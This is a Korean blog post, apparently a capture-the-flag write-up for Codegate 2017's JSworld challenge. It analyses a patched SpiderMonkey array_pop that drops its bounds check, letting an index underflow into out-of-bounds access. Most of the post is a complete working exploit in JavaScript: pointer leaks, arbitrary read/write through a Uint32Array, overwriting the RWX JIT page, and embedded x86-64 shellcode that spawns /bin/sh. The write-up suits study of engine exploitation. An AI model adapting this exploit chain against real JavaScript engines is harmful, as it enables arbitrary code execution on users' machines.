cdor1's lab
Codegate 2017 JSworld 본문
처음 해보는 JavaScript 엔진 익스플로잇이다.
재밌었다.
문제에서 소스를 주는데, 원본 소스를 다운받아서 디핑하고 달라진 점을 찾았다.
1947c1947,1950
<
---
> if (index == 0) {
> /* Step 4b. */
> args.rval().setUndefined();
> } else {
1959c1962
<
---
> }
1964c1967
< if (obj->isNative())
---
> if (obj->isNative() && obj->getDenseInitializedLength() > index)
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
array_pop부분인데 index==0체크와 바운드체크가 사라져서 index변수를 오버플로우 시킬수있다.
uint32_t index;
index는 uint32_t이기에 4294967295가 되어서 pop으로 오버플로우 시킨 배열에서 oob가 일어난다.
oob가 생겼으니 익스플로잇 단계를 짜봤다.
1. Uint32Array객체 만들고 객체가 담긴 주소 leak - 배열 사이즈를 기반으로 인덱스 구함. (oob[i] == 0x1000)
2. Uint32Array객체 pointer 덮어써서 AAR, AAW
3. AAR 이용해서 JIT(rwx)영역 주소 leak하기 - 같은 함수를 연속적으로 불러서 JIT를 사용하도록 유도한 후 JIT주소 주변 고정적인 값 기반으로 인덱스 구함.(oob[i] == '0000017000000181')
4. AAW 이용해서 JIT(rwx)영역 쉘코드로 덮어쓰기
4. JIT call && get shell
중점적인 내용
data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);
쉘코드에서 문자열로 4바이트 파싱
sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);
2바이트씩 끊어서 저장하고 리버스시켜서 little endian에 맞춰줌. 0x붙여서 parseInt로 문자열->정수변환
d_to_i2(data)
e-notation으로 나오는 값 Float64로 받아서 Uint32로 변환(read)
i2_to_d(data)
Uint32받아서 e-notation으로 변환(write)
function d_to_i2(data){
var a = new Uint32Array(new Float64Array([data]).buffer);
return [a[1], a[0]];
}
function i2_to_d(data){
return new Float64Array(new Uint32Array([data[1], data[0]]).buffer)[0];
}
function i2_to_hex(data){
var v1 = ("00000000" + data[0].toString(16)).substr(-8);
var v2 = ("00000000" + data[1].toString(16)).substr(-8);
return [v1, v2];
}
function p_i2(data){
print(i2_to_hex(d_to_i2(data))[0] + i2_to_hex(d_to_i2(data))[1]);
}
var trigger = new Array(1);
trigger[0] = 0x41414141;
var array = new Uint32Array(0x1000);
for(var i = 0; i<0x1000; i++){
array[i] = 0x42424242;
}
trigger.pop();
trigger.pop();
var offset = 0;
print('oob triggered : ' + trigger.length);
for(var i = 0; i<0x1000; i++){
if(trigger[i] == 0x1000){
offset = i + 2;
print('Uint32Array offset : ' + offset);
print('Uint32Array data : ' + trigger[offset]);
p_i2(trigger[offset]);
break;
}
}
for(var i = 0; i<20; i++){
getshell(1)
}
jit_address_offset=0
for (i=0x0; i<0x10000; i++)
{
hx=i2_to_hex(d_to_i2(trigger[i]))
if(hx[0]+hx[1]=='0000017000000181')
{
print('function found');
jit_address_offset=i-2
print('jit offset : ' + jit_address_offset);
print('jit data : ' + trigger[jit_address_offset]);
p_i2(trigger[jit_address_offset]);
break;
}
}
function getshell(args1){
print("SHELL");
}
function write(addr, data){
trigger[offset] = i2_to_d(addr);
array[0] = data;
}
function read(addr){
trigger[offset] = i2_to_d(addr);
return array[0]
}
function shellcode_to_jit(addr, shellcode){
var sc=[];
var data='';
var shellcode_idx = 0;
for(var i = 0; i < shellcode.length; i+=4){
for(var j = 0; j<4; j++){
data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);
}
sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);
data = '';
shellcode_idx++;
}
for(var i = 0; i < shellcode.length; i++){
addr[1] += 4;
write(addr, sc[i]);
}
}
var shellcode = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";
shellcode_to_jit(d_to_i2(trigger[jit_address_offset]), shellcode);
getshell(1);
ref : https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/
'Security > Pwnable' 카테고리의 다른 글
자료들 (0) | 2018.06.01 |
---|---|
fuzzer prototype (0) | 2018.03.19 |
Study materials (0) | 2018.01.30 |
codegate 2017 review (0) | 2018.01.29 |
malloc.c (0) | 2018.01.26 |